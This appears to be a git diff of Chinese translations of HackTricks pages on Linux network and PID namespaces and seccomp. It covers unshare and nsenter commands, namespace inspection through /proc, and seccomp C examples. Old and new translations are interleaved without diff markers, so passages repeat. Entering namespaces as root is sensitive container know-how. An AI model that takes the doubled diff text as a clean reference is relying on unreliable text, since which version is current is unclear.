### 创建不同的命名空间
|
||||
|
||||
#### CLI
|
||||
#### 命令行界面
|
||||
```bash
|
||||
sudo unshare -n [--mount-proc] /bin/bash
|
||||
# Run ifconfig or ip -a
|
||||
```
|
||||
通过使用`--mount-proc`参数挂载一个新的`/proc`文件系统,您可以确保新的挂载命名空间具有与该命名空间特定的进程信息的准确且隔离的视图。
|
||||
通过挂载一个新的 `/proc` 文件系统实例,如果你使用参数 `--mount-proc`,你可以确保新的挂载命名空间有一个**准确且独立的特定于该命名空间的进程信息视图**。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>错误:bash: fork: 无法分配内存</summary>
|
||||
|
||||
如果您在不使用`-f`的情况下运行上一行代码,您将会得到该错误。\
|
||||
该错误是由于新的命名空间中的PID 1进程退出引起的。
|
||||
如果你在没有 `-f` 的情况下运行前面的命令,你会遇到这个错误。\
|
||||
这个错误是由于在新命名空间中 PID 1 进程退出引起的。
|
||||
|
||||
在bash开始运行后,bash会fork出几个新的子进程来执行一些操作。如果您在unshare命令中没有使用`-f`,bash的PID将与当前的"unshare"进程相同。当前的"unshare"进程调用unshare系统调用,创建一个新的PID命名空间,但当前的"unshare"进程不在新的PID命名空间中。这是Linux内核的预期行为:进程A创建一个新的命名空间,进程A本身不会被放入新的命名空间中,只有进程A的子进程会被放入新的命名空间中。因此,当您运行:
|
||||
在 bash 开始运行后,bash 将会 fork 几个新的子进程来做一些事情。如果你在没有 `-f` 的情况下运行 unshare,bash 将会和当前的 "unshare" 进程有相同的 pid。当前的 "unshare" 进程调用 unshare 系统调用,创建一个新的 pid 命名空间,但是当前的 "unshare" 进程并不在新的 pid 命名空间中。这是 linux 内核的预期行为:进程 A 创建一个新的命名空间,进程 A 本身不会被放入新的命名空间,只有进程 A 的子进程会被放入新的命名空间。所以当你运行:
|
||||
```
|
||||
unshare -p /bin/bash
|
||||
```
|
||||
unshare -f will fork a new process and execute /bin/bash in the new namespace. This way, the new process becomes PID 1 of the new namespace and the original process can exit without causing any issues.
|
||||
```markdown
|
||||
unshare 进程将执行 /bin/bash,而 /bin/bash 会分叉出几个子进程,bash 的第一个子进程将成为新命名空间的 PID 1,并且子进程在完成其任务后将退出。因此,新命名空间的 PID 1 退出。
|
||||
|
||||
PID 1 进程具有特殊功能:它应该成为所有孤儿进程的父进程。如果根命名空间中的 PID 1 进程退出,内核将会出现 panic。如果子命名空间中的 PID 1 进程退出,linux 内核将调用 disable\_pid\_allocation 函数,该函数将清除该命名空间中的 PIDNS\_HASH\_ADDING 标志。当 linux 内核创建一个新进程时,内核将调用 alloc\_pid 函数在一个命名空间中分配一个 PID,如果没有设置 PIDNS\_HASH\_ADDING 标志,alloc\_pid 函数将返回一个 -ENOMEM 错误。这就是你得到 "Cannot allocate memory" 错误的原因。
|
||||
|
||||
你可以通过使用 '-f' 选项来解决这个问题:
|
||||
```
|
||||
```
|
||||
unshare -fp /bin/bash
|
||||
```
|
||||
如果你使用`-f`选项运行`unshare`命令,`unshare`将在创建新的pid命名空间后fork一个新进程。然后在新进程中运行`/bin/bash`。新进程将成为新pid命名空间的pid 1。然后bash将fork几个子进程来执行一些任务。由于bash本身是新pid命名空间的pid 1,它的子进程可以正常退出。
|
||||
如果你使用 '-f' 选项运行 unshare,unshare 将在创建新的 pid 命名空间后分叉一个新进程。并在新进程中运行 /bin/bash。新进程将成为新 pid 命名空间的 pid 1。然后 bash 也会分叉几个子进程来完成一些工作。由于 bash 本身是新 pid 命名空间的 pid 1,它的子进程可以无问题地退出。
|
||||
|
||||
摘自[https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
|
||||
从 [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory) 复制
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -60,19 +68,7 @@ unshare -fp /bin/bash
|
|||
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
|
||||
# Run ifconfig or ip -a
|
||||
```
|
||||
###  检查进程所在的命名空间
|
||||
|
||||
To check which namespace your process is in, you can use the following command:
|
||||
|
||||
要检查进程所在的命名空间,可以使用以下命令:
|
||||
|
||||
```bash
|
||||
ls -l /proc/<PID>/ns/net
|
||||
```
|
||||
|
||||
Replace `<PID>` with the process ID of the desired process. This command will display the symbolic link to the network namespace of the process.
|
||||
|
||||
将 `<PID>` 替换为所需进程的进程 ID。该命令将显示进程的网络命名空间的符号链接。
|
||||
### 检查您的进程在哪个命名空间中
|
||||
```bash
|
||||
ls -l /proc/self/ns/net
|
||||
lrwxrwxrwx 1 root root 0 Apr 4 20:30 /proc/self/ns/net -> 'net:[4026531840]'
|
||||
|
@ -85,24 +81,22 @@ sudo find /proc -maxdepth 3 -type l -name net -exec readlink {} \; 2>/dev/null |
|
|||
# Find the processes with an specific namespace
|
||||
sudo find /proc -maxdepth 3 -type l -name net -exec ls -l {} \; 2>/dev/null | grep <ns-number>
|
||||
```
|
||||
{% code %}
|
||||
|
||||
### 进入网络命名空间
|
||||
|
||||
{% endcode %}
|
||||
```bash
|
||||
nsenter -n TARGET_PID --pid /bin/bash
|
||||
```
|
||||
此外,只有**root用户**才能**进入另一个进程的命名空间**。而且,**没有指向其他命名空间的描述符**(如`/proc/self/ns/net`),你**无法进入**其他命名空间。
|
||||
您只能**以 root 身份进入另一个进程的命名空间**。而且您**不能** **进入**其他没有描述符指向的命名空间(如 `/proc/self/ns/net`)。
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 你在**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您希望在 HackTricks 中看到您的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFT 集合**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,36 +2,38 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 你在一家 **网络安全公司** 工作吗?你想在 HackTricks 中看到你的 **公司广告**吗?或者你想获得 **PEASS 的最新版本或下载 HackTricks 的 PDF 版本**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注**我在 **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想在 **HackTricks 中看到您的公司广告** 或 **下载 HackTricks 的 PDF 版本**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFT 集合**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** 我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
## 基本信息
|
||||
|
||||
PID(进程标识符)命名空间是 Linux 内核中的一个功能,通过为一组进程提供自己独立的一组唯一 PID,与其他命名空间中的 PID 分开,实现进程隔离。这在容器化中特别有用,其中进程隔离对于安全和资源管理至关重要。
|
||||
PID(进程标识符)命名空间是 Linux 内核中的一个特性,它通过允许一组进程拥有自己的唯一 PID 集,与其他命名空间中的 PID 分开,从而提供进程隔离。这在容器化中特别有用,其中进程隔离对于安全和资源管理至关重要。
|
||||
|
||||
当创建一个新的 PID 命名空间时,该命名空间中的第一个进程被分配为 PID 1。该进程成为新命名空间的 "init" 进程,并负责管理命名空间内的其他进程。在该命名空间内创建的每个后续进程都将在该命名空间内具有唯一的 PID,这些 PID 与其他命名空间中的 PID 是独立的。
|
||||
当创建一个新的 PID 命名空间时,该命名空间中的第一个进程被分配 PID 1。这个进程成为新命名空间的 "init" 进程,并负责管理命名空间内的其他进程。命名空间内创建的每个后续进程都将在该命名空间内拥有一个唯一的 PID,这些 PID 将独立于其他命名空间中的 PID。
|
||||
|
||||
从 PID 命名空间内的进程的角度来看,它只能看到同一命名空间内的其他进程。它不知道其他命名空间中的进程,并且不能使用传统的进程管理工具(如 `kill`、`wait` 等)与它们进行交互。这提供了一定程度的隔离,有助于防止进程相互干扰。
|
||||
从 PID 命名空间内的进程的角度来看,它只能看到同一命名空间中的其他进程。它不知道其他命名空间中的进程,也不能使用传统的进程管理工具(例如,`kill`、`wait` 等)与它们交互。这提供了一定程度的隔离,有助于防止进程相互干扰。
|
||||
|
||||
### 工作原理:
|
||||
|
||||
1. 当创建一个新进程(例如使用 `clone()` 系统调用)时,该进程可以分配给一个新的或现有的 PID 命名空间。**如果创建了一个新的命名空间,该进程将成为该命名空间的 "init" 进程**。
|
||||
2. **内核**维护着新命名空间中的 PID 与父命名空间(即创建新命名空间的命名空间)中相应 PID 之间的映射。**这个映射允许内核在必要时转换 PID**,例如在不同命名空间中的进程之间发送信号时。
|
||||
3. **PID 命名空间内的进程只能看到和与同一命名空间内的其他进程进行交互**。它们不知道其他命名空间中的进程,并且它们的 PID 在其命名空间内是唯一的。
|
||||
4. 当销毁一个 **PID 命名空间**(例如当命名空间的 "init" 进程退出时),**该命名空间内的所有进程都将被终止**。这确保了与命名空间相关的所有资源都被正确清理。
|
||||
1. 当创建一个新进程时(例如,使用 `clone()` 系统调用),可以将进程分配给一个新的或现有的 PID 命名空间。**如果创建了一个新的命名空间,该进程成为该命名空间的 "init" 进程**。
|
||||
2. **内核** 维护一个 **新命名空间中的 PID 与父命名空间中相应 PID 的映射**(即,新命名空间是从哪个命名空间创建的)。这种映射 **允许内核在必要时转换 PID**,例如在不同命名空间中的进程之间发送信号时。
|
||||
3. **PID 命名空间内的进程只能看到并与同一命名空间内的其他进程交互**。它们不知道其他命名空间中的进程,它们的 PID 在其命名空间内是唯一的。
|
||||
4. 当 **PID 命名空间被销毁**(例如,当命名空间的 "init" 进程退出时),**该命名空间内的所有进程都将被终止**。这确保了与命名空间相关的所有资源都得到了妥善清理。
|
||||
|
||||
## 实验:
|
||||
## 实验室:
|
||||
|
||||
### 创建不同的命名空间
|
||||
|
||||
#### CLI
|
||||
#### 命令行界面
|
||||
```bash
|
||||
sudo unshare -pf --mount-proc /bin/bash
|
||||
```
|
||||
|
@ -39,65 +41,41 @@ sudo unshare -pf --mount-proc /bin/bash
|
|||
|
||||
<summary>错误:bash: fork: 无法分配内存</summary>
|
||||
|
||||
如果你在没有使用`-f`的情况下运行上一行命令,你将会得到这个错误。\
|
||||
这个错误是由于新的命名空间中的PID 1进程退出引起的。
|
||||
如果您在没有 `-f` 的情况下运行前面的命令,您将会遇到这个错误。\
|
||||
该错误是由于 PID 1 进程在新的命名空间中退出所导致的。
|
||||
|
||||
在bash开始运行后,它会fork出几个新的子进程来执行一些操作。如果你在没有使用`-f`的情况下运行unshare命令,bash的PID将与当前的"unshare"进程相同。当前的"unshare"进程调用unshare系统调用,创建一个新的PID命名空间,但当前的"unshare"进程并不在新的PID命名空间中。这是Linux内核的预期行为:进程A创建一个新的命名空间,进程A本身不会被放入新的命名空间中,只有进程A的子进程会被放入新的命名空间中。所以当你运行:
|
||||
在 bash 开始运行后,bash 将会 fork 几个新的子进程来做一些事情。如果您在没有 `-f` 的情况下运行 unshare,bash 将会和当前的 "unshare" 进程拥有相同的 pid。当前的 "unshare" 进程调用 unshare 系统调用,创建一个新的 pid 命名空间,但是当前的 "unshare" 进程并不在新的 pid 命名空间中。这是 linux 内核的预期行为:进程 A 创建一个新的命名空间,进程 A 本身不会被放入新的命名空间,只有进程 A 的子进程会被放入新的命名空间。所以当您运行:
|
||||
|
||||
</details>
|
||||
```
|
||||
unshare -p /bin/bash
|
||||
```
|
||||
unshare进程将执行/bin/bash,并且/bin/bash会fork出几个子进程,bash的第一个子进程将成为新命名空间的PID 1,并在完成任务后退出。因此,新命名空间的PID 1退出。
|
||||
unshare 进程将执行 /bin/bash,而 /bin/bash 会分叉出几个子进程,bash 的第一个子进程将成为新命名空间的 PID 1,并且子进程在完成其任务后将退出。因此,新命名空间的 PID 1 退出。
|
||||
|
||||
PID 1进程有一个特殊的功能:它应该成为所有孤儿进程的父进程。如果根命名空间中的PID 1进程退出,内核将会崩溃。如果子命名空间中的PID 1进程退出,Linux内核将调用disable\_pid\_allocation函数,该函数将清除该命名空间中的PIDNS\_HASH\_ADDING标志。当Linux内核创建一个新进程时,内核将调用alloc\_pid函数在命名空间中分配一个PID,如果PIDNS\_HASH\_ADDING标志未设置,alloc\_pid函数将返回-ENOMEM错误。这就是为什么会出现"Cannot allocate memory"错误的原因。
|
||||
PID 1 进程具有特殊功能:它应该成为所有孤儿进程的父进程。如果根命名空间中的 PID 1 进程退出,内核将会出现恐慌。如果子命名空间中的 PID 1 进程退出,linux 内核将调用 disable\_pid\_allocation 函数,该函数将清除该命名空间中的 PIDNS\_HASH\_ADDING 标志。当 linux 内核创建一个新进程时,内核将调用 alloc\_pid 函数在命名空间中分配一个 PID,如果没有设置 PIDNS\_HASH\_ADDING 标志,alloc\_pid 函数将返回一个 -ENOMEM 错误。这就是你得到 "Cannot allocate memory" 错误的原因。
|
||||
|
||||
您可以通过使用'-f'选项来解决此问题:
|
||||
你可以通过使用 '-f' 选项来解决这个问题:
|
||||
```
|
||||
unshare -fp /bin/bash
|
||||
```
|
||||
如果你使用`-f`选项运行unshare命令,unshare将在创建新的pid命名空间后fork一个新进程。并在新进程中运行`/bin/bash`。新进程将成为新pid命名空间的pid 1。然后bash将fork几个子进程来执行一些任务。由于bash本身是新pid命名空间的pid 1,它的子进程可以正常退出。
|
||||
如果你使用 `-f` 选项运行 unshare,unshare 将在创建新的 pid 命名空间后分叉一个新进程。并在新进程中运行 /bin/bash。新进程将成为新 pid 命名空间的 pid 1。然后 bash 也将分叉几个子进程来完成一些工作。由于 bash 本身是新 pid 命名空间的 pid 1,它的子进程可以在没有任何问题的情况下退出。
|
||||
|
||||
从[https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)复制
|
||||
摘自 [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
|
||||
|
||||
</details>
|
||||
|
||||
通过挂载一个新的`/proc`文件系统实例,如果你使用`--mount-proc`参数,你可以确保新的挂载命名空间具有对该命名空间特定的进程信息的准确和隔离的视图。
|
||||
如果你使用参数 `--mount-proc` 挂载 `/proc` 文件系统的新实例,你确保新的挂载命名空间具有**针对该命名空间特定的进程信息的准确和隔离视图**。
|
||||
|
||||
#### Docker
|
||||
```bash
|
||||
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
|
||||
```
|
||||
###  检查进程所在的命名空间
|
||||
|
||||
To check which namespace your process is in, you can use the following command:
|
||||
|
||||
要检查进程所在的命名空间,可以使用以下命令:
|
||||
|
||||
```bash
|
||||
ls -l /proc/<PID>/ns
|
||||
```
|
||||
|
||||
Replace `<PID>` with the process ID of the process you want to check.
|
||||
|
||||
将 `<PID>` 替换为要检查的进程的进程ID。
|
||||
|
||||
This command will list the namespaces associated with the process. The output will include files representing different namespaces such as `pid`, `net`, `ipc`, `uts`, and `mnt`. Each file will have a unique inode number if the process is in that particular namespace.
|
||||
|
||||
该命令将列出与进程关联的命名空间。输出将包括表示不同命名空间的文件,如 `pid`、`net`、`ipc`、`uts` 和 `mnt`。如果进程在特定的命名空间中,每个文件都将具有唯一的inode号。
|
||||
|
||||
For example, if you want to check the namespaces of a process with PID 1234, you would run:
|
||||
|
||||
例如,如果要检查PID为1234的进程的命名空间,可以运行以下命令:
|
||||
|
||||
```bash
|
||||
ls -l /proc/1234/ns
|
||||
```
|
||||
|
||||
This will display the namespaces associated with the process.
|
||||
### 检查您的进程在哪个命名空间中
|
||||
```bash
|
||||
ls -l /proc/self/ns/pid
|
||||
lrwxrwxrwx 1 root root 0 Apr 3 18:45 /proc/self/ns/pid -> 'pid:[4026532412]'
|
||||
```
|
||||
### 查找所有PID命名空间
|
||||
### 查找所有 PID 命名空间
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -105,12 +83,26 @@ sudo find /proc -maxdepth 3 -type l -name pid -exec readlink {} \; 2>/dev/null |
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
请注意,初始(默认)PID命名空间的root用户可以查看所有进程,即使是在新的PID命名空间中的进程,这就是为什么我们可以看到所有的PID命名空间。
|
||||
请注意,初始(默认)PID 命名空间中的 root 用户可以看到所有进程,即使是新的 PID 命名空间中的进程,这就是为什么我们可以看到所有 PID 命名空间。
|
||||
|
||||
### 进入PID命名空间内部
|
||||
### 进入一个 PID 命名空间
|
||||
```bash
|
||||
nsenter -t TARGET_PID --pid /bin/bash
|
||||
```
|
||||
当您从默认命名空间进入PID命名空间时,您仍然可以看到所有进程。而PID命名空间中的进程将能够看到PID命名空间上的新bash。
|
||||
当您从默认命名空间进入 PID 命名空间时,您仍然能够看到所有进程。而且该 PID 命名空间中的进程将能够看到新的 bash 在 PID 命名空间上。
|
||||
|
||||
此外,您只能在作为root用户的情况下进入另一个进程的PID命名空间。而且,如果没有指向其他命名空间的描述符(例如`/proc/self/ns/pid`),则无法进入其他命名空间。
|
||||
此外,您只能**以 root 身份进入另一个进程的 PID 命名空间**。而且您**不能** **进入**其他命名空间**没有指向它的描述符**(如 `/proc/self/ns/pid`)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客攻击直到成为专家,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFT 集合**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,30 +2,32 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零到英雄学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 你在一个**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
## 基本信息
|
||||
|
||||
**Seccomp**或安全计算模式,简而言之,是Linux内核的一个功能,可以充当**系统调用过滤器**。\
|
||||
**Seccomp** 或安全计算模式,简而言之,是Linux内核的一个特性,可以作为**系统调用过滤器**。\
|
||||
Seccomp有两种模式。
|
||||
|
||||
**seccomp**(安全计算模式)是Linux内核中的一种计算机安全功能。seccomp允许进程进入“安全”状态,其中**除了**`exit()`、`sigreturn()`、`read()`和`write()`之外,**它不能进行任何系统调用**。如果尝试进行其他系统调用,内核将使用SIGKILL或SIGSYS终止进程。从这个意义上说,它不会虚拟化系统的资源,而是完全将进程与它们隔离开来。
|
||||
**seccomp**(即**安全计算模式**)是**Linux** **内核**中的一项计算机安全设施。seccomp允许进程一次性过渡到一个“安全”状态,在这个状态下,**它不能进行任何系统调用,除了** `exit()`、`sigreturn()`、`read()` 和 `write()` 到**已经打开的**文件描述符。如果它尝试进行任何其他系统调用,**内核**将用SIGKILL或SIGSYS**终止**该**进程**。从这个意义上讲,它不是虚拟化系统资源,而是完全隔离了进程和它们。
|
||||
|
||||
seccomp模式是通过使用`prctl(2)`系统调用启用的,使用`PR_SET_SECCOMP`参数,或者(自Linux内核3.17以来)通过`seccomp(2)`系统调用启用。seccomp模式曾经通过写入文件`/proc/self/seccomp`来启用,但这种方法已被`prctl()`取代。在某些内核版本中,seccomp禁用了`RDTSC` x86指令,该指令返回自上电以来经过的处理器周期数,用于高精度计时。
|
||||
seccomp模式是**通过`prctl(2)`系统调用**使用`PR_SET_SECCOMP`参数启用的,或者(自Linux内核3.17版本起)通过`seccomp(2)`系统调用启用。seccomp模式过去是通过写入一个文件`/proc/self/seccomp`来启用的,但这种方法已被`prctl()`取代。在某些内核版本中,seccomp禁用了`RDTSC` x86指令,该指令返回自开机以来经过的处理器周期数,用于高精度计时。
|
||||
|
||||
**seccomp-bpf**是seccomp的扩展,它允许使用可配置策略的Berkeley Packet Filter规则对系统调用进行过滤。它被OpenSSH和vsftpd以及Chrome OS和Linux上的Google Chrome/Chromium Web浏览器使用。(在这方面,seccomp-bpf实现了类似的功能,但具有更高的灵活性和性能,与不再支持Linux的旧版systrace相似。)
|
||||
**seccomp-bpf** 是seccomp的扩展,它允许**使用可配置的策略过滤系统调用**,该策略使用伯克利数据包过滤器规则实现。它被OpenSSH和vsftpd以及Chrome OS和Linux上的Google Chrome/Chromium网络浏览器使用。(在这方面,seccomp-bpf实现了类似的功能,但具有更大的灵活性和更高的性能,与较旧的systrace相比——后者似乎不再支持Linux。)
|
||||
|
||||
### **原始/严格模式**
|
||||
|
||||
在此模式下,Seccomp**仅允许使用**`exit()`、`sigreturn()`、`read()`和`write()`这些系统调用来操作已打开的文件描述符。如果进行了任何其他系统调用,进程将被使用SIGKILL终止。
|
||||
在这种模式下,Seccomp **只允许系统调用** `exit()`、`sigreturn()`、`read()` 和 `write()` 到已经打开的文件描述符。如果进行了任何其他系统调用,进程将使用SIGKILL被杀死
|
||||
|
||||
{% code title="seccomp_strict.c" %}
|
||||
```c
|
||||
|
@ -59,11 +61,15 @@ int input = open("output.txt", O_RDONLY);
|
|||
printf("You will not see this message--the process will be killed first\n");
|
||||
}
|
||||
```
|
||||
```markdown
|
||||
{% endcode %}
|
||||
|
||||
### Seccomp-bpf
|
||||
|
||||
此模式允许使用可配置的策略来实现基于Berkeley Packet Filter规则的系统调用过滤。
|
||||
此模式允许**使用可配置策略过滤系统调用**,该策略使用 Berkeley Packet Filter 规则实现。
|
||||
|
||||
{% code title="seccomp_bpf.c" %}
|
||||
```
|
||||
```c
|
||||
#include <seccomp.h>
|
||||
#include <unistd.h>
|
||||
|
@ -111,31 +117,29 @@ seccomp_release(ctx);
|
|||
printf("this process is %d\n", getpid());
|
||||
}
|
||||
```
|
||||
{% endcode %}
|
||||
## Docker 中的 Seccomp
|
||||
|
||||
## Docker中的Seccomp
|
||||
|
||||
**Seccomp-bpf**被**Docker**支持,可以限制容器中的**系统调用**,从而有效减少攻击面。您可以在[https://docs.docker.com/engine/security/seccomp/](https://docs.docker.com/engine/security/seccomp/)找到**默认情况下被阻止的系统调用**,并且默认的seccomp配置文件可以在[https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)找到。\
|
||||
